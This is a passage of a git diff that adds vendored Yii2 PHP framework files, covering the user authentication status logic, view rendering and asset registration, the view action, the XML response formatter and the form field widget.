($this->authTimeout !== null) { + $session->set($this->authTimeoutParam, time() + $this->authTimeout); + } + if ($this->absoluteAuthTimeout !== null) { + $session->set($this->absoluteAuthTimeoutParam, time() + $this->absoluteAuthTimeout); + } + if ($duration > 0 && $this->enableAutoLogin) { + $this->sendIdentityCookie($identity, $duration); + } + } elseif ($this->enableAutoLogin) { + Yii::$app->getResponse()->getCookies()->remove(new Cookie($this->identityCookie)); + } + } + + /** + * Updates the authentication status using the information from session and cookie. + * + * This method will try to determine the user identity using the [[idParam]] session variable. + * + * If [[authTimeout]] is set, this method will refresh the timer. + * + * If the user identity cannot be determined by session, this method will try to [[loginByCookie()|login by cookie]] + * if [[enableAutoLogin]] is true. + */ + protected function renewAuthStatus() + { + $session = Yii::$app->getSession(); + $id = $session->getHasSessionId() || $session->getIsActive() ? $session->get($this->idParam) : null; + + if ($id === null) { + $identity = null; + } else { + /* @var $class IdentityInterface */ + $class = $this->identityClass; + $identity = $class::findIdentity($id); + } + + $this->setIdentity($identity); + + if (($this->authTimeout !== null || $this->absoluteAuthTimeout !== null) && $identity !== null) { + $expire = $this->authTimeout !== null ? $session->get($this->authTimeoutParam) : null; + $expireAbsolute = $this->absoluteAuthTimeout !== null ? $session->get($this->absoluteAuthTimeoutParam) : null; + if ($expire !== null && $expire < time() || $expireAbsolute !== null && $expireAbsolute < time()) { + $this->logout(false); + } elseif ($this->authTimeout !== null) { + $session->set($this->authTimeoutParam, time() + $this->authTimeout); + } + } + + if ($this->enableAutoLogin) { + if ($this->getIsGuest()) { + $this->loginByCookie(); + } elseif ($this->autoRenewCookie) { + $this->renewIdentityCookie(); + } + } + } + + /** + * Checks if the user can perform the operation as specified by the given permission. + * + * Note that you must configure "authManager" application component in order to use this method. + * Otherwise an exception will be thrown. + * + * @param string $permissionName the name of the permission (e.g. "edit post") that needs access check. + * @param array $params name-value pairs that would be passed to the rules associated + * with the roles and permissions assigned to the user. A param with name 'user' is added to + * this array, which holds the value of [[id]]. + * @param boolean $allowCaching whether to allow caching the result of access check. + * When this parameter is true (default), if the access check of an operation was performed + * before, its result will be directly returned when calling this method to check the same + * operation. If this parameter is false, this method will always call + * [[\yii\rbac\ManagerInterface::checkAccess()]] to obtain the up-to-date access result. Note that this + * caching is effective only within the same request and only works when `$params = []`. + * @return boolean whether the user can perform the operation as specified by the given permission. + */ + public function can($permissionName, $params = [], $allowCaching = true) + { + $auth = Yii::$app->getAuthManager(); + if ($allowCaching && empty($params) && isset($this->_access[$permissionName])) { + return $this->_access[$permissionName]; + } + $access = $auth->checkAccess($this->getId(), $permissionName, $params); + if ($allowCaching && empty($params)) { + $this->_access[$permissionName] = $access; + } + + return $access; + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/web/UserEvent.php b/php/yii2/basic/vendor/yiisoft/yii2/web/UserEvent.php new file mode 100644 index 00000000..cc2e328b --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/web/UserEvent.php @@ -0,0 +1,40 @@ + + * @since 2.0 + */ +class UserEvent extends Event +{ + /** + * @var IdentityInterface the identity object associated with this event + */ + public $identity; + /** + * @var boolean whether the login is cookie-based. This property is only meaningful + * for [[User::EVENT_BEFORE_LOGIN]] and [[User::EVENT_AFTER_LOGIN]] events. + */ + public $cookieBased; + /** + * @var integer $duration number of seconds that the user can remain in logged-in status. + * If 0, it means login till the user closes the browser or the session is manually destroyed. + */ + public $duration; + /** + * @var boolean whether the login or logout should proceed. + * Event handlers may modify this property to determine whether the login or logout should proceed. + * This property is only meaningful for [[User::EVENT_BEFORE_LOGIN]] and [[User::EVENT_BEFORE_LOGOUT]] events. + */ + public $isValid = true; +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/web/View.php b/php/yii2/basic/vendor/yiisoft/yii2/web/View.php new file mode 100644 index 00000000..95acf420 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/web/View.php @@ -0,0 +1,551 @@ +view`. + * + * You can modify its configuration by adding an array to your application config under `components` + * as it is shown in the following example: + * + * ~~~ + * 'view' => [ + * 'theme' => 'app\themes\MyTheme', + * 'renderers' => [ + * // you may add Smarty or Twig renderer here + * ] + * // ... + * ] + * ~~~ + * + * @property \yii\web\AssetManager $assetManager The asset manager. Defaults to the "assetManager" application + * component. + * + * @author Qiang Xue + * @since 2.0 + */ +class View extends \yii\base\View +{ + /** + * @event Event an event that is triggered by [[beginBody()]]. + */ + const EVENT_BEGIN_BODY = 'beginBody'; + /** + * @event Event an event that is triggered by [[endBody()]]. + */ + const EVENT_END_BODY = 'endBody'; + /** + * The location of registered JavaScript code block or files. + * This means the location is in the head section. + */ + const POS_HEAD = 1; + /** + * The location of registered JavaScript code block or files. + * This means the location is at the beginning of the body section. + */ + const POS_BEGIN = 2; + /** + * The location of registered JavaScript code block or files. + * This means the location is at the end of the body section. + */ + const POS_END = 3; + /** + * The location of registered JavaScript code block. + * This means the JavaScript code block will be enclosed within `jQuery(document).ready()`. + */ + const POS_READY = 4; + /** + * The location of registered JavaScript code block. + * This means the JavaScript code block will be enclosed within `jQuery(window).load()`. + */ + const POS_LOAD = 5; + /** + * This is internally used as the placeholder for receiving the content registered for the head section. + */ + const PH_HEAD = ''; + /** + * This is internally used as the placeholder for receiving the content registered for the beginning of the body section. + */ + const PH_BODY_BEGIN = ''; + /** + * This is internally used as the placeholder for receiving the content registered for the end of the body section. + */ + const PH_BODY_END = ''; + + /** + * @var AssetBundle[] list of the registered asset bundles. The keys are the bundle names, and the values + * are the registered [[AssetBundle]] objects. + * @see registerAssetBundle() + */ + public $assetBundles = []; + /** + * @var string the page title + */ + public $title; + /** + * @var array the registered meta tags. + * @see registerMetaTag() + */ + public $metaTags; + /** + * @var array the registered link tags. + * @see registerLinkTag() + */ + public $linkTags; + /** + * @var array the registered CSS code blocks. + * @see registerCss() + */ + public $css; + /** + * @var array the registered CSS files. + * @see registerCssFile() + */ + public $cssFiles; + /** + * @var array the registered JS code blocks + * @see registerJs() + */ + public $js; + /** + * @var array the registered JS files. + * @see registerJsFile() + */ + public $jsFiles; + + private $_assetManager; + + + /** + * Marks the position of an HTML head section. + */ + public function head() + { + echo self::PH_HEAD; + } + + /** + * Marks the beginning of an HTML body section. + */ + public function beginBody() + { + echo self::PH_BODY_BEGIN; + $this->trigger(self::EVENT_BEGIN_BODY); + } + + /** + * Marks the ending of an HTML body section. + */ + public function endBody() + { + $this->trigger(self::EVENT_END_BODY); + echo self::PH_BODY_END; + + foreach (array_keys($this->assetBundles) as $bundle) { + $this->registerAssetFiles($bundle); + } + } + + /** + * Marks the ending of an HTML page. + * @param boolean $ajaxMode whether the view is rendering in AJAX mode. + * If true, the JS scripts registered at [[POS_READY]] and [[POS_LOAD]] positions + * will be rendered at the end of the view like normal scripts. + */ + public function endPage($ajaxMode = false) + { + $this->trigger(self::EVENT_END_PAGE); + + $content = ob_get_clean(); + + echo strtr($content, [ + self::PH_HEAD => $this->renderHeadHtml(), + self::PH_BODY_BEGIN => $this->renderBodyBeginHtml(), + self::PH_BODY_END => $this->renderBodyEndHtml($ajaxMode), + ]); + + $this->clear(); + } + + /** + * Renders a view in response to an AJAX request. + * + * This method is similar to [[render()]] except that it will surround the view being rendered + * with the calls of [[beginPage()]], [[head()]], [[beginBody()]], [[endBody()]] and [[endPage()]]. + * By doing so, the method is able to inject into the rendering result with JS/CSS scripts and files + * that are registered with the view. + * + * @param string $view the view name. Please refer to [[render()]] on how to specify this parameter. + * @param array $params the parameters (name-value pairs) that will be extracted and made available in the view file. + * @param object $context the context that the view should use for rendering the view. If null, + * existing [[context]] will be used. + * @return string the rendering result + * @see render() + */ + public function renderAjax($view, $params = [], $context = null) + { + $viewFile = $this->findViewFile($view, $context); + + ob_start(); + ob_implicit_flush(false); + + $this->beginPage(); + $this->head(); + $this->beginBody(); + echo $this->renderFile($viewFile, $params, $context); + $this->endBody(); + $this->endPage(true); + + return ob_get_clean(); + } + + /** + * Registers the asset manager being used by this view object. + * @return \yii\web\AssetManager the asset manager. Defaults to the "assetManager" application component. + */ + public function getAssetManager() + { + return $this->_assetManager ?: Yii::$app->getAssetManager(); + } + + /** + * Sets the asset manager. + * @param \yii\web\AssetManager $value the asset manager + */ + public function setAssetManager($value) + { + $this->_assetManager = $value; + } + + /** + * Clears up the registered meta tags, link tags, css/js scripts and files. + */ + public function clear() + { + $this->metaTags = null; + $this->linkTags = null; + $this->css = null; + $this->cssFiles = null; + $this->js = null; + $this->jsFiles = null; + $this->assetBundles = []; + } + + /** + * Registers all files provided by an asset bundle including depending bundles files. + * Removes a bundle from [[assetBundles]] once files are registered. + * @param string $name name of the bundle to register + */ + protected function registerAssetFiles($name) + { + if (!isset($this->assetBundles[$name])) { + return; + } + $bundle = $this->assetBundles[$name]; + if ($bundle) { + foreach ($bundle->depends as $dep) { + $this->registerAssetFiles($dep); + } + $bundle->registerAssetFiles($this); + } + unset($this->assetBundles[$name]); + } + + /** + * Registers the named asset bundle. + * All dependent asset bundles will be registered. + * @param string $name the name of the asset bundle. + * @param integer|null $position if set, this forces a minimum position for javascript files. + * This will adjust depending assets javascript file position or fail if requirement can not be met. + * If this is null, asset bundles position settings will not be changed. + * See [[registerJsFile]] for more details on javascript position. + * @return AssetBundle the registered asset bundle instance + * @throws InvalidConfigException if the asset bundle does not exist or a circular dependency is detected + */ + public function registerAssetBundle($name, $position = null) + { + if (!isset($this->assetBundles[$name])) { + $am = $this->getAssetManager(); + $bundle = $am->getBundle($name); + $this->assetBundles[$name] = false; + // register dependencies + $pos = isset($bundle->jsOptions['position']) ? $bundle->jsOptions['position'] : null; + foreach ($bundle->depends as $dep) { + $this->registerAssetBundle($dep, $pos); + } + $this->assetBundles[$name] = $bundle; + } elseif ($this->assetBundles[$name] === false) { + throw new InvalidConfigException("A circular dependency is detected for bundle '$name'."); + } else { + $bundle = $this->assetBundles[$name]; + } + + if ($position !== null) { + $pos = isset($bundle->jsOptions['position']) ? $bundle->jsOptions['position'] : null; + if ($pos === null) { + $bundle->jsOptions['position'] = $pos = $position; + } elseif ($pos > $position) { + throw new InvalidConfigException("An asset bundle that depends on '$name' has a higher javascript file position configured than '$name'."); + } + // update position for all dependencies + foreach ($bundle->depends as $dep) { + $this->registerAssetBundle($dep, $pos); + } + } + + return $bundle; + } + + /** + * Registers a meta tag. + * @param array $options the HTML attributes for the meta tag. + * @param string $key the key that identifies the meta tag. If two meta tags are registered + * with the same key, the latter will overwrite the former. If this is null, the new meta tag + * will be appended to the existing ones. + */ + public function registerMetaTag($options, $key = null) + { + if ($key === null) { + $this->metaTags[] = Html::tag('meta', '', $options); + } else { + $this->metaTags[$key] = Html::tag('meta', '', $options); + } + } + + /** + * Registers a link tag. + * @param array $options the HTML attributes for the link tag. + * @param string $key the key that identifies the link tag. If two link tags are registered + * with the same key, the latter will overwrite the former. If this is null, the new link tag + * will be appended to the existing ones. + */ + public function registerLinkTag($options, $key = null) + { + if ($key === null) { + $this->linkTags[] = Html::tag('link', '', $options); + } else { + $this->linkTags[$key] = Html::tag('link', '', $options); + } + } + + /** + * Registers a CSS code block. + * @param string $css the CSS code block to be registered + * @param array $options the HTML attributes for the style tag. + * @param string $key the key that identifies the CSS code block. If null, it will use + * $css as the key. If two CSS code blocks are registered with the same key, the latter + * will overwrite the former. + */ + public function registerCss($css, $options = [], $key = null) + { + $key = $key ?: md5($css); + $this->css[$key] = Html::style($css, $options); + } + + /** + * Registers a CSS file. + * @param string $url the CSS file to be registered. + * @param array $options the HTML attributes for the link tag. Please refer to [[Html::cssFile()]] for + * the supported options. The following options are specially handled and are not treated as HTML attributes: + * + * - `depends`: array, specifies the names of the asset bundles that this CSS file depends on. + * + * @param string $key the key that identifies the CSS script file. If null, it will use + * $url as the key. If two CSS files are registered with the same key, the latter + * will overwrite the former. + */ + public function registerCssFile($url, $options = [], $key = null) + { + $url = Yii::getAlias($url); + $key = $key ?: $url; + $depends = ArrayHelper::remove($options, 'depends', []); + + if (empty($depends)) { + $this->cssFiles[$key] = Html::cssFile($url, $options); + } else { + $this->getAssetManager()->bundles[$key] = new AssetBundle([ + 'baseUrl' => '', + 'css' => [strncmp($url, '//', 2) === 0 ? $url : ltrim($url, '/')], + 'cssOptions' => $options, + 'depends' => (array) $depends, + ]); + $this->registerAssetBundle($key); + } + } + + /** + * Registers a JS code block. + * @param string $js the JS code block to be registered + * @param integer $position the position at which the JS script tag should be inserted + * in a page. The possible values are: + * + * - [[POS_HEAD]]: in the head section + * - [[POS_BEGIN]]: at the beginning of the body section + * - [[POS_END]]: at the end of the body section + * - [[POS_LOAD]]: enclosed within jQuery(window).load(). + * Note that by using this position, the method will automatically register the jQuery js file. + * - [[POS_READY]]: enclosed within jQuery(document).ready(). This is the default value. + * Note that by using this position, the method will automatically register the jQuery js file. + * + * @param string $key the key that identifies the JS code block. If null, it will use + * $js as the key. If two JS code blocks are registered with the same key, the latter + * will overwrite the former. + */ + public function registerJs($js, $position = self::POS_READY, $key = null) + { + $key = $key ?: md5($js); + $this->js[$position][$key] = $js; + if ($position === self::POS_READY || $position === self::POS_LOAD) { + JqueryAsset::register($this); + } + } + + /** + * Registers a JS file. + * @param string $url the JS file to be registered. + * @param array $options the HTML attributes for the script tag. The following options are specially handled + * and are not treated as HTML attributes: + * + * - `depends`: array, specifies the names of the asset bundles that this JS file depends on. + * - `position`: specifies where the JS script tag should be inserted in a page. The possible values are: + * * [[POS_HEAD]]: in the head section + * * [[POS_BEGIN]]: at the beginning of the body section + * * [[POS_END]]: at the end of the body section. This is the default value. + * + * Please refer to [[Html::jsFile()]] for other supported options. + * + * @param string $key the key that identifies the JS script file. If null, it will use + * $url as the key. If two JS files are registered with the same key, the latter + * will overwrite the former. + */ + public function registerJsFile($url, $options = [], $key = null) + { + $url = Yii::getAlias($url); + $key = $key ?: $url; + $depends = ArrayHelper::remove($options, 'depends', []); + + if (empty($depends)) { + $position = ArrayHelper::remove($options, 'position', self::POS_END); + $this->jsFiles[$position][$key] = Html::jsFile($url, $options); + } else { + $this->getAssetManager()->bundles[$key] = new AssetBundle([ + 'baseUrl' => '', + 'js' => [strncmp($url, '//', 2) === 0 ? $url : ltrim($url, '/')], + 'jsOptions' => $options, + 'depends' => (array) $depends, + ]); + $this->registerAssetBundle($key); + } + } + + /** + * Renders the content to be inserted in the head section. + * The content is rendered using the registered meta tags, link tags, CSS/JS code blocks and files. + * @return string the rendered content + */ + protected function renderHeadHtml() + { + $lines = []; + if (!empty($this->metaTags)) { + $lines[] = implode("\n", $this->metaTags); + } + + if (!empty($this->linkTags)) { + $lines[] = implode("\n", $this->linkTags); + } + if (!empty($this->cssFiles)) { + $lines[] = implode("\n", $this->cssFiles); + } + if (!empty($this->css)) { + $lines[] = implode("\n", $this->css); + } + if (!empty($this->jsFiles[self::POS_HEAD])) { + $lines[] = implode("\n", $this->jsFiles[self::POS_HEAD]); + } + if (!empty($this->js[self::POS_HEAD])) { + $lines[] = Html::script(implode("\n", $this->js[self::POS_HEAD]), ['type' => 'text/javascript']); + } + + return empty($lines) ? '' : implode("\n", $lines); + } + + /** + * Renders the content to be inserted at the beginning of the body section. + * The content is rendered using the registered JS code blocks and files. + * @return string the rendered content + */ + protected function renderBodyBeginHtml() + { + $lines = []; + if (!empty($this->jsFiles[self::POS_BEGIN])) { + $lines[] = implode("\n", $this->jsFiles[self::POS_BEGIN]); + } + if (!empty($this->js[self::POS_BEGIN])) { + $lines[] = Html::script(implode("\n", $this->js[self::POS_BEGIN]), ['type' => 'text/javascript']); + } + + return empty($lines) ? '' : implode("\n", $lines); + } + + /** + * Renders the content to be inserted at the end of the body section. + * The content is rendered using the registered JS code blocks and files. + * @param boolean $ajaxMode whether the view is rendering in AJAX mode. + * If true, the JS scripts registered at [[POS_READY]] and [[POS_LOAD]] positions + * will be rendered at the end of the view like normal scripts. + * @return string the rendered content + */ + protected function renderBodyEndHtml($ajaxMode) + { + $lines = []; + + if (!empty($this->jsFiles[self::POS_END])) { + $lines[] = implode("\n", $this->jsFiles[self::POS_END]); + } + + if ($ajaxMode) { + $scripts = []; + if (!empty($this->js[self::POS_END])) { + $scripts[] = implode("\n", $this->js[self::POS_END]); + } + if (!empty($this->js[self::POS_READY])) { + $scripts[] = implode("\n", $this->js[self::POS_READY]); + } + if (!empty($this->js[self::POS_LOAD])) { + $scripts[] = implode("\n", $this->js[self::POS_LOAD]); + } + if (!empty($scripts)) { + $lines[] = Html::script(implode("\n", $scripts), ['type' => 'text/javascript']); + } + } else { + if (!empty($this->js[self::POS_END])) { + $lines[] = Html::script(implode("\n", $this->js[self::POS_END]), ['type' => 'text/javascript']); + } + if (!empty($this->js[self::POS_READY])) { + $js = "jQuery(document).ready(function () {\n" . implode("\n", $this->js[self::POS_READY]) . "\n});"; + $lines[] = Html::script($js, ['type' => 'text/javascript']); + } + if (!empty($this->js[self::POS_LOAD])) { + $js = "jQuery(window).load(function () {\n" . implode("\n", $this->js[self::POS_LOAD]) . "\n});"; + $lines[] = Html::script($js, ['type' => 'text/javascript']); + } + } + + return empty($lines) ? '' : implode("\n", $lines); + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/web/ViewAction.php b/php/yii2/basic/vendor/yiisoft/yii2/web/ViewAction.php new file mode 100644 index 00000000..8c6a1a68 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/web/ViewAction.php @@ -0,0 +1,132 @@ + + * @author Qiang Xue + * @since 2.0 + */ +class ViewAction extends Action +{ + /** + * @var string the name of the GET parameter that contains the requested view name. + */ + public $viewParam = 'view'; + /** + * @var string the name of the default view when [[\yii\web\ViewAction::$viewParam]] GET parameter is not provided + * by user. Defaults to 'index'. This should be in the format of 'path/to/view', similar to that given in the + * GET parameter. + * @see \yii\web\ViewAction::$viewPrefix + */ + public $defaultView = 'index'; + /** + * @var string a string to be prefixed to the user-specified view name to form a complete view name. + * For example, if a user requests for `tutorial/chap1`, the corresponding view name will + * be `pages/tutorial/chap1`, assuming the prefix is `pages`. + * The actual view file is determined by [[\yii\base\View::findViewFile()]]. + * @see \yii\base\View::findViewFile() + */ + public $viewPrefix = 'pages'; + /** + * @var mixed the name of the layout to be applied to the requested view. + * This will be assigned to [[\yii\base\Controller::$layout]] before the view is rendered. + * Defaults to null, meaning the controller's layout will be used. + * If false, no layout will be applied. + */ + public $layout; + + + /** + * Runs the action. + * This method displays the view requested by the user. + * @throws NotFoundHttpException if the view file cannot be found + */ + public function run() + { + $viewName = $this->resolveViewName(); + + $controllerLayout = null; + if ($this->layout !== null) { + $controllerLayout = $this->controller->layout; + $this->controller->layout = $this->layout; + } + + try { + $output = $this->render($viewName); + + if ($controllerLayout) { + $this->controller->layout = $controllerLayout; + } + + } catch (InvalidParamException $e) { + + if ($controllerLayout) { + $this->controller->layout = $controllerLayout; + } + + if (YII_DEBUG) { + throw new NotFoundHttpException($e->getMessage()); + } else { + throw new NotFoundHttpException( + Yii::t('yii', 'The requested view "{name}" was not found.', ['name' => $viewName]) + ); + } + } + + return $output; + } + + /** + * Renders a view + * + * @param string $viewName view name + * @return string result of the rendering + */ + protected function render($viewName) + { + return $this->controller->render($viewName); + } + + /** + * Resolves the view name currently being requested. + * + * @return string the resolved view name + * @throws NotFoundHttpException if the specified view name is invalid + */ + protected function resolveViewName() + { + $viewName = Yii::$app->request->get($this->viewParam, $this->defaultView); + + if (!is_string($viewName) || !preg_match('/^\w[\w\/\-\.]*$/', $viewName)) { + if (YII_DEBUG) { + throw new NotFoundHttpException("The requested view \"$viewName\" must start with a word character and can contain only word characters, forward slashes, dots and dashes."); + } else { + throw new NotFoundHttpException(Yii::t('yii', 'The requested view "{name}" was not found.', ['name' => $viewName])); + } + } + + return empty($this->viewPrefix) ? $viewName : $this->viewPrefix . '/' . $viewName; + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/web/XmlResponseFormatter.php b/php/yii2/basic/vendor/yiisoft/yii2/web/XmlResponseFormatter.php new file mode 100644 index 00000000..507810ec --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/web/XmlResponseFormatter.php @@ -0,0 +1,103 @@ + + * @since 2.0 + */ +class XmlResponseFormatter extends Component implements ResponseFormatterInterface +{ + /** + * @var string the Content-Type header for the response + */ + public $contentType = 'application/xml'; + /** + * @var string the XML version + */ + public $version = '1.0'; + /** + * @var string the XML encoding. If not set, it will use the value of [[Response::charset]]. + */ + public $encoding; + /** + * @var string the name of the root element. + */ + public $rootTag = 'response'; + /** + * @var string the name of the elements that represent the array elements with numeric keys. + */ + public $itemTag = 'item'; + + + /** + * Formats the specified response. + * @param Response $response the response to be formatted. + */ + public function format($response) + { + $charset = $this->encoding === null ? $response->charset : $this->encoding; + if (stripos($this->contentType, 'charset') === false) { + $this->contentType .= '; charset=' . $charset; + } + $response->getHeaders()->set('Content-Type', $this->contentType); + $dom = new DOMDocument($this->version, $charset); + $root = new DOMElement($this->rootTag); + $dom->appendChild($root); + $this->buildXml($root, $response->data); + $response->content = $dom->saveXML(); + } + + /** + * @param DOMElement $element + * @param mixed $data + */ + protected function buildXml($element, $data) + { + if (is_object($data)) { + $child = new DOMElement(StringHelper::basename(get_class($data))); + $element->appendChild($child); + if ($data instanceof Arrayable) { + $this->buildXml($child, $data->toArray()); + } else { + $array = []; + foreach ($data as $name => $value) { + $array[$name] = $value; + } + $this->buildXml($child, $array); + } + } elseif (is_array($data)) { + foreach ($data as $name => $value) { + if (is_int($name) && is_object($value)) { + $this->buildXml($element, $value); + } elseif (is_array($value) || is_object($value)) { + $child = new DOMElement(is_int($name) ? $this->itemTag : $name); + $element->appendChild($child); + $this->buildXml($child, $value); + } else { + $child = new DOMElement(is_int($name) ? $this->itemTag : $name); + $element->appendChild($child); + $child->appendChild(new DOMText((string) $value)); + } + } + } else { + $element->appendChild(new DOMText((string) $data)); + } + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/web/YiiAsset.php b/php/yii2/basic/vendor/yiisoft/yii2/web/YiiAsset.php new file mode 100644 index 00000000..db7e85ec --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/web/YiiAsset.php @@ -0,0 +1,25 @@ + + * @since 2.0 + */ +class YiiAsset extends AssetBundle +{ + public $sourcePath = '@yii/assets'; + public $js = [ + 'yii.js', + ]; + public $depends = [ + 'yii\web\JqueryAsset', + ]; +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/widgets/ActiveField.php b/php/yii2/basic/vendor/yiisoft/yii2/widgets/ActiveField.php new file mode 100644 index 00000000..81afb27b --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/widgets/ActiveField.php @@ -0,0 +1,762 @@ + + * @since 2.0 + */ +class ActiveField extends Component +{ + /** + * @var ActiveForm the form that this field is associated with. + */ + public $form; + /** + * @var Model the data model that this field is associated with + */ + public $model; + /** + * @var string the model attribute that this field is associated with + */ + public $attribute; + /** + * @var array the HTML attributes (name-value pairs) for the field container tag. + * The values will be HTML-encoded using [[Html::encode()]]. + * If a value is null, the corresponding attribute will not be rendered. + * The following special options are recognized: + * + * - tag: the tag name of the container element. Defaults to "div". + * + * @see \yii\helpers\Html::renderTagAttributes() for details on how attributes are being rendered. + */ + public $options = ['class' => 'form-group']; + /** + * @var string the template that is used to arrange the label, the input field, the error message and the hint text. + * The following tokens will be replaced when [[render()]] is called: `{label}`, `{input}`, `{error}` and `{hint}`. + */ + public $template = "{label}\n{input}\n{hint}\n{error}"; + /** + * @var array the default options for the input tags. The parameter passed to individual input methods + * (e.g. [[textInput()]]) will be merged with this property when rendering the input tag. + * @see \yii\helpers\Html::renderTagAttributes() for details on how attributes are being rendered. + */ + public $inputOptions = ['class' => 'form-control']; + /** + * @var array the default options for the error tags. The parameter passed to [[error()]] will be + * merged with this property when rendering the error tag. + * The following special options are recognized: + * + * - tag: the tag name of the container element. Defaults to "div". + * - encode: whether to encode the error output. Defaults to true. + * + * @see \yii\helpers\Html::renderTagAttributes() for details on how attributes are being rendered. + */ + public $errorOptions = ['class' => 'help-block']; + /** + * @var array the default options for the label tags. The parameter passed to [[label()]] will be + * merged with this property when rendering the label tag. + * @see \yii\helpers\Html::renderTagAttributes() for details on how attributes are being rendered. + */ + public $labelOptions = ['class' => 'control-label']; + /** + * @var array the default options for the hint tags. The parameter passed to [[hint()]] will be + * merged with this property when rendering the hint tag. + * The following special options are recognized: + * + * - tag: the tag name of the container element. Defaults to "div". + * + * @see \yii\helpers\Html::renderTagAttributes() for details on how attributes are being rendered. + */ + public $hintOptions = ['class' => 'hint-block']; + /** + * @var boolean whether to enable client-side data validation. + * If not set, it will take the value of [[ActiveForm::enableClientValidation]]. + */ + public $enableClientValidation; + /** + * @var boolean whether to enable AJAX-based data validation. + * If not set, it will take the value of [[ActiveForm::enableAjaxValidation]]. + */ + public $enableAjaxValidation; + /** + * @var boolean whether to perform validation when the value of the input field is changed. + * If not set, it will take the value of [[ActiveForm::validateOnChange]]. + */ + public $validateOnChange; + /** + * @var boolean whether to perform validation when the input field loses focus. + * If not set, it will take the value of [[ActiveForm::validateOnBlur]]. + */ + public $validateOnBlur; + /** + * @var boolean whether to perform validation while the user is typing in the input field. + * If not set, it will take the value of [[ActiveForm::validateOnType]]. + * @see validationDelay + */ + public $validateOnType; + /** + * @var integer number of milliseconds that the validation should be delayed when the user types in the field + * and [[validateOnType]] is set true. + * If not set, it will take the value of [[ActiveForm::validationDelay]]. + */ + public $validationDelay; + /** + * @var array the jQuery selectors for selecting the container, input and error tags. + * The array keys should be "container", "input", and/or "error", and the array values + * are the corresponding selectors. For example, `['input' => '#my-input']`. + * + * The container selector is used under the context of the form, while the input and the error + * selectors are used under the context of the container. + * + * You normally do not need to set this property as the default selectors should work well for most cases. + */ + public $selectors = []; + /** + * @var array different parts of the field (e.g. input, label). This will be used together with + * [[template]] to generate the final field HTML code. The keys are the token names in [[template]], + * while the values are the corresponding HTML code. Valid tokens include `{input}`, `{label}` and `{error}`. + * Note that you normally don't need to access this property directly as + * it is maintained by various methods of this class. + */ + public $parts = []; + + + /** + * PHP magic method that returns the string representation of this object. + * @return string the string representation of this object. + */ + public function __toString() + { + // __toString cannot throw exception + // use trigger_error to bypass this limitation + try { + return $this->render(); + } catch (\Exception $e) { + ErrorHandler::convertExceptionToError($e); + return ''; + } + } + + /** + * Renders the whole field. + * This method will generate the label, error tag, input tag and hint tag (if any), and + * assemble them into HTML according to [[template]]. + * @param string|callable $content the content within the field container. + * If null (not set), the default methods will be called to generate the label, error tag and input tag, + * and use them as the content. + * If a callable, it will be called to generate the content. The signature of the callable should be: + * + * ~~~ + * function ($field) { + * return $html; + * } + * ~~~ + * + * @return string the rendering result + */ + public function render($content = null) + { + if ($content === null) { + if (!isset($this->parts['{input}'])) { + $this->parts['{input}'] = Html::activeTextInput($this->model, $this->attribute, $this->inputOptions); + } + if (!isset($this->parts['{label}'])) { + $this->parts['{label}'] = Html::activeLabel($this->model, $this->attribute, $this->labelOptions); + } + if (!isset($this->parts['{error}'])) { + $this->parts['{error}'] = Html::error($this->model, $this->attribute, $this->errorOptions); + } + if (!isset($this->parts['{hint}'])) { + $this->parts['{hint}'] = ''; + } + $content = strtr($this->template, $this->parts); + } elseif (!is_string($content)) { + $content = call_user_func($content, $this); + } + + return $this->begin() . "\n" . $content . "\n" . $this->end(); + } + + /** + * Renders the opening tag of the field container. + * @return string the rendering result. + */ + public function begin() + { + $clientOptions = $this->getClientOptions(); + if (!empty($clientOptions)) { + $this->form->attributes[] = $clientOptions; + } + + $inputID = Html::getInputId($this->model, $this->attribute); + $attribute = Html::getAttributeName($this->attribute); + $options = $this->options; + $class = isset($options['class']) ? [$options['class']] : []; + $class[] = "field-$inputID"; + if ($this->model->isAttributeRequired($attribute)) { + $class[] = $this->form->requiredCssClass; + } + if ($this->model->hasErrors($attribute)) { + $class[] = $this->form->errorCssClass; + } + $options['class'] = implode(' ', $class); + $tag = ArrayHelper::remove($options, 'tag', 'div'); + + return Html::beginTag($tag, $options); + } + + /** + * Renders the closing tag of the field container. + * @return string the rendering result. + */ + public function end() + { + return Html::endTag(isset($this->options['tag']) ? $this->options['tag'] : 'div'); + } + + /** + * Generates a label tag for [[attribute]]. + * @param string|boolean $label the label to use. If null, the label will be generated via [[Model::getAttributeLabel()]]. + * If false, the generated field will not contain the label part. + * Note that this will NOT be [[Html::encode()|encoded]]. + * @param array $options the tag options in terms of name-value pairs. It will be merged with [[labelOptions]]. + * The options will be rendered as the attributes of the resulting tag. The values will be HTML-encoded + * using [[Html::encode()]]. If a value is null, the corresponding attribute will not be rendered. + * @return static the field object itself + */ + public function label($label = null, $options = []) + { + if ($label === false) { + $this->parts['{label}'] = ''; + return $this; + } + + $options = array_merge($this->labelOptions, $options); + if ($label !== null) { + $options['label'] = $label; + } + $this->parts['{label}'] = Html::activeLabel($this->model, $this->attribute, $options); + + return $this; + } + + /** + * Generates a tag that contains the first validation error of [[attribute]]. + * Note that even if there is no validation error, this method will still return an empty error tag. + * @param array|boolean $options the tag options in terms of name-value pairs. It will be merged with [[errorOptions]]. + * The options will be rendered as the attributes of the resulting tag. The values will be HTML-encoded + * using [[Html::encode()]]. If a value is null, the corresponding attribute will not be rendered. + * + * The following options are specially handled: + * + * - tag: this specifies the tag name. If not set, "div" will be used. + * + * If this parameter is false, no error tag will be rendered. + * + * @return static the field object itself + */ + public function error($options = []) + { + if ($options === false) { + $this->parts['{error}'] = ''; + return $this; + } + $options = array_merge($this->errorOptions, $options); + $this->parts['{error}'] = Html::error($this->model, $this->attribute, $options); + + return $this; + } + + /** + * Renders the hint tag. + * @param string $content the hint content. It will NOT be HTML-encoded. + * @param array $options the tag options in terms of name-value pairs. These will be rendered as + * the attributes of the hint tag. The values will be HTML-encoded using 